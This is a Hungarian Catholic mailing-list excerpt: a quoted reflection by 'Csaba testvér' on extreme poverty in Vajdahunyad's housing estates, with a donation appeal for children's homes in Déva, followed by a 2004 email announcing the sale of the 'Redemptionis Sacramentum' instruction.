> > > > > > 10300002-20145639-00003285 > > > > "Bizony mondom nektek: amikor megtettétek ezt egynek e legkisebb > > testvéreim közül, nekem tettétek." (Mt. 25,40) > > > > > > > > > Cserébe nem tudok mást, mint amit én is kaptam Csaba testvértől pár > > évvel ezelőtt Egy elmélkedést. Ha úgy tetszik, Passiót. > > > > > > > > > > > > > > Vajdahunyadon voltam. A hajdan takaros városon, mint sebek hatalmasodnak > > el, a mikro 5- 6- 7 -nek nevezett lakótelepek. Románul "micro centrale": > > három kazánház=, három lakónegyed, 10-15 ezer lakóval mindegyik. Itt > > nincsenek nevek, itt mindent a dicsoséges kommunizmus épített, és az > > ország minden részérol ide telepített egyszerű emberek lelakták. Itt is, > > ott is egy-egy fantomblokk, tömbház lakás, ajtó, ablak nélkül, víz, > > futés, remény nélkül, de kimondhatatlan sok-sok gyerekkel. Lepusztult > > iparvidék, garzonváros. A régi kommunista rendszer más iparvidékéhez > > hasonló, mocskos, > > penészes épületek. Sokgyermekes családok, egy-két kicsi, salétromos, > > vizes odúban. Boldogok, ha a nagy családból legalább egy személy munkát, > > fizetést kap. A diktátor megalomániája szülte gyárak, kombinátok, bányák > > az utolsókat rúgják. Semmi kilátás. Szegénység, nyomor, mely a testet, > > de a lelket is megöli. > > Ahhoz, hogy egy gyermek felnőjön, kibontakozzon, melegre, szeretetre és > > sok élelemre, ruhára van szüksége. > > Egy kislánnyal, aki négy éve nálunk van a gyermekotthonban, > > meglátogattuk a családját. Az öt évvel nagyobb, kilencedikes novére > > három újjal kisebb a nálunk növekedo húgánál. Testileg, lelkileg, > > szellemileg is töpörödött szalonnabor. A szülők kínlódnak, isznak, az > > embertelen nyomor elvégzi > > testet-lelket sorvasztó muvét. > > A sátán kacag. > > Egy embertelen rendszer elpusztította a takaros magángazdaságokat, a > > falvakat, a tisztaszobát, a majorságot, mindent. Kollektivizált, > > államosított, jobb jövőt ígért, barakk- és garzonvárosokba terelte a > > fiatalokat. Talán már nem is tudják, milyen más volt az íze a fehér, > > kikeményített abroszon gőzölgő, aranysárga húslevesnek, melynek minden > > egyes laskáját dolgos kezek a bordán elkészítették, hogy szebb legyen és > > finomabb az íze. Itt az olcsó szalámi a hunyorgó ünnepek fénypontja. Itt > > nem hizlalnak disznót, nem tudják a gyermekek, hogy milyen a paprikás > > abált szalonna vagy a májas és véres hurka, a disznósajt. A kocsonya > > ismeretlen fogalom, akárcsak a frissen mosott rongyszőnyeg, a sárgítóval > > felsúrolt > > deszkapadló vagy a függöny az ablakon. Mindezek semmi kis dolgai > > mindennapjainknak. Asztal, szekrény, fogas, elmúlásunkban otthonná > > teszik a házat. Itt szeget vernek a falba, és arra akasztják a ruhát, az > > ölükbe veszik a tányért, hogy megegyék a mindennapit. El tudod képzelni > > azt az évek óta használt, mocskos téglát, melyre rácsavarták az > > izzószálat,és összebogozták életveszélyesen a falból kilógó drótokkal, > > hogy fozni tudjanak, s ne fagyjanak meg? > > Ezekben a barakkokban nem ropog a tűz, itt nincs kályha, kémény, > > fürdőszoba. Itt felnonek az emberek, és soha nem ültek fürdőkádban, és > > nem hallottak > > Hófehérkéről meg Piroskáról. Itt mostoha a sors és a bűn az emberek > > között jár. Tizenéves férjetlen lány-anyák vihognak, hervadó bájaikat > > árulják. > > Itt nem kötnek házasságokat, a beteghez nem hívnak orvost, papot. Van, > > aki otthon szüli meg gyermekét. Vannak anyák, akik eladják gyermeküket > > egy televízió áráért, és ez nem mese. A víz nagy érték, messziről > > hozzák, csak ivásra használják. Mindenütt patkányok, legyek és > > svábbogarak. Az igénytelenség, a mocsok, a durva trehányság beborít > > mindent. > > A legszörnyűbb az, hogy itt mindez természetes. > > Talán nem is fáj a felnőtteknek mindaz, ami van, ahogy van. Legyintenek: > > jól van ez így. Mint más az értékes festményeit, úgy mutogatják > > nyomorukat > > néhány lej reményében ezek a pokol bugyraiban élő emberek. > > Mindenki szidja őket, joggal, de ők nem értik, hogy mit kérnek tőlük. > > Lusták, mocskosak, bűnösek! Lopnak? Az egyik ötgyerekes apát tyúklopás > > közben megfogták. Ott helyben bála-kötő dróttal megkötözték és > > agyonverték. Jön a piszkos kiegyezés: mennyit adnak, hogy elsimuljon a > > dolog? És néhány > > millióval vagy néhány börtönévvel elsimul minden. A szomszédok szinte > > irigykedve jegyzik meg, hogy jó pénzt kapott az özvegy. S az árvák? Hogy > > nem > > jön haza az a durva, goromba ember? Talán nem is fáj. Egy újabb seb, > > melyet elkaparhatnak és mutogathatnak. Félelmetes, kiúttalan. Jézus > > Krisztus meghalt ezekért az emberekért. Nincs annyi pénz, hogy ennyi > > családnak emberhez méltó körülményeket teremtsünk. Szegény az ország, > > nincs munkahely. Tudom! Innen csak elvinni lehet a gyermekeket. Süllyed > > minden. > > Menteni kell, ami menthető! Egy kislány két éve van nálunk. Az aradi > > állomáson koldult. Nem tudjuk, hol van az apja és az anyja. > > Amikor idekerült mocskos volt és durva. Most harmadik tanuló az > > osztályban, ha rászólok elpirul, és belefúrja arcát oldalamba. Lehet > > vele beszélni, már > > nem vihog, kérdez és gondolkodik, azt mondja tanító néni akar lenni. Nem > > igaz, hogy a kutyából nem lesz szalonna! Egy fiúcskát megbuktattak és > > kicsaptak az iskolából, durva volt és agresszív. Most büszke, mert jó > > jegyei vannak. Ministrál, pap akar lenni. Mindennapi csodák. A rút > > kiskacsa hattyúvá változik Öröm nézni. > > Gyermekotthonunkban, mint törékeny melegházban, kivirulnak a kicsinyek, > > kiket Krisztus nevében befogadtunk. Kint a tél, az ordító oroszlán. > > Törékeny üvegház. Lesz elég pénzünk kenyérre, a számlákra, s még egy > > házra újabb gyermekeknek? > > És lesz erőnk, majd ha felnőnek életteret biztosítani nekik? Nincs > > válasz a kérdésekre. Csak hit és remény. Istenben bízva utolsó > > pénzünkkel újabb lakást veszünk. A holnapi kenyeret, biztos kifizetik a > > jószívű emberek. > > Két millióan vagyunk Erdélyben. Ha csak egy millió ember adna ezer lejt > > évente, az egy milliárd lej lenne. Évente lehetne egy-egy gyerekvárost > > indítani. Tizenötmillió magyar él a földön. Már nem is számolok. > > Romániában az állami árvaházakból ki lehetne venni több száz magyar > > származású gyereket. Mindenütt zsúfoltság van, szívesen engednék oket. > > Csak a mai napon hat gyereket irányítottak hozzánk, akiket helyszűke > > miatt nem fogadhattunk, és így arra ítéltünk, hogy egy állami árvaházban > > románok, ortodoxok legyenek Hány lélek? Hány magyar? Kevesebb pátoszt és > > több áldozatot! > > Tíz év tapasztalata után azt mondhatom: > > érdemes, lehet és kell kollégiumokat és gyermekotthonokat alapítani. Nem > > fog változni a világ, ha nem változnak az emberek. Ha nem trágyázzuk meg > > a földet, ha nem vetünk magot, akkor nem arathatunk. Áldozatok nélkül > > nem változik meg a világ. Ha összefogunk, még azokkal a kis ezer > > lejekkel is, annyival amennyink van, hegyeket mozgathatunk. > > Segítségeddel a sokgyermekes, szegény családok kicsinyeit > > összeszedhetjük, s talán évek múlva közülük valaki lányodnak megkéri a > > kezét, vagy unkádat gyógyítani, nevelni fogja. > > Talán közösséged papot kap áldozatod árán. Lehet, hogy semmid sincs, > > magadat sem tartod sokra. Nincs célod. Férjed-feleséged meghalt, > > elhagyott, s te úgy érzed, munkádra nincs szükség sehol. Lehet, hogy > > belefáradtál: magadat is felajánlhatod. Senki sincs magáért. Mindenki > > másért van. Talán te az árva gyermekekért vagy! Taníts, nevelj, mossál, > > főzzél velük, mondj mesét, vagy egyszeruen imádkozzál a többiek > > munkájáért. Így megtapasztalod, befogadod az Urat a legkisebbekben. > > Déván most 374 gyermekkel foglalkozunk. > > Sokan vagyunk. De ha lesz kivel és ha lesz mivel, újabb gyermekvárosokat > > alapítunk Csíkban, Háromszéken. Összeszedjük a családi fészekbol > > kihullott gyermekeket. Ezt kéri az Úr, és mi ezt akarjuk. > > > > > > > Csaba testvér > From verbenyi@axelero.hu Tue Jun 22 10:44:08 2004 From: verbenyi@axelero.hu (=?iso-8859-2?Q?Verb=E9nyi_Istv=E1n?=) Date: Tue, 22 Jun 2004 11:44:08 +0200 Subject: [Liturgia] Redemptionis sacramentum Message-ID: <000c01c4583d$7bea79b0$e202a8c0@maleziigazgato> This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C4584E.3A70A250 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves Listatagok! T=E1j=E9koztatom a lista tagjait, hogy j=FAnius 24-t=F5l a Szent = Istv=E1n T=E1rsulatn=E1l megv=E1s=E1rolhat=F3 a REDEMPTIONIS SACRAMENTUM = kezdet=FB instrukci=F3 az Eukariszti=E1r=F3l sz=F3l=F3 tan=EDt=E1sr=F3l. = A R=F3mai Dokumentumok sorozatban jelenik meg. =C1ra: 360.-Ft. =DCdv! Verb=E9nyi Istv=E1n MALEZI igazgat=F3ja ------=_NextPart_000_0007_01C4584E.3A70A250 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Kedves Listatagok!
 
T=E1j=E9koztatom a lista tagjait, = hogy j=FAnius=20 24-t=F5l a Szent Istv=E1n T=E1rsulatn=E1l megv=E1s=E1rolhat=F3 a REDEMPTIONIS SACRAMENTUM = kezdet=FB=20 instrukci=F3 az Eukariszti=E1r=F3l sz=F3l=F3 tan=EDt=E1sr=F3l. A R=F3mai = Dokumentumok sorozatban=20 jelenik meg. =C1ra: 360.-Ft.
=DCdv!
Verb=E9nyi Istv=E1n
MALEZI = igazgat=F3ja
------=_NextPart_000_0007_01C4584E.3A70A250--